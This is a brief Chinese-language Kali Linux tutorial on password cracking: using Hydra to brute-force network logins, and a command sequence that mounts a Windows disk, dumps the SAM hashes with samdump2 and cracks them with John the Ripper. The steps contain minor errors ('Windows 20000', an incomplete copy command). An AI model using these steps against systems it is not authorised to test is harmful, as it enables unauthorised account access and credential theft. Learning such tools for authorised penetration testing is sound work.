kali Linux 三 破解密码

一.Hydra

1.介绍
Hydra是一个相当强大的暴力破解密码工具，几乎支持所有协议的在线密码破解
如FTP，HTTP，HTTPS，MySQL，MS SQL，Oracle，Cisco，IMP和VNC等
其密码能否破解，关键在于，字典是否足够强大

2.使用
1.启动Hydra
2.该界面设置目标系统，端口，协议等，如果查看破解过程，将output option 中的show attempts框选上
3.在该界面中指定用户名和密码列表文件
4.设置好密码字典 点击Tuning选项卡

破解Windows用户密码

Windows系统密码保存在SAM（安装账号管理器）文件中，在NT核的Windows系统中，
包括Windows 20000及后续版本，这个文件保存在“C：/windows/System32/config”

1.fdisk -l
2.mount /dev/sda1 /mnt
3.cp SYSTEM SAM 
4.samdump2 SYSTEM SAM -o sam.hash
5.cat sam.hash
6.john -format=NT sam.hash